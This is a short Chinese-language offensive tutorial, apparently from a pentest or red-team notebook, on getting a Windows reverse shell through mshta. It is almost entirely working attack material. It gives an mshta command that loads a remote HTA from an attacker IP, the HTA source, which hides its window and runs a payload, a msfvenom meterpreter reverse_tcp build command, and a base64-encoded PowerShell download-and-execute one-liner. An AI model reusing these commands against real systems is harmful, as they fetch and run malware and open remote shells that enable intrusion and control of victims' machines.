mshta命令
运行命令
mshta http://47.94.80.xxx/payload.hta
payload.hta 源码为
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shellcode" //可以是exe、powershell
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
shellcode为msf生成。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.94.80.xxx LPORT=8080 -f exe > test.exe
这里将木马改为powershell，且经过base64编码后的脚本
$fileContent = "(new-object System.Net.WebClient).DownloadFile('http://47.94.80.xxx/ps/test.exe','D:\a.exe');start-process 'D:\a.exe'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent);
$encoded = [System.Convert]::ToBase64String($bytes);
使用-enc再进行解码执行
powershell -enc $encoded
可反弹shell。
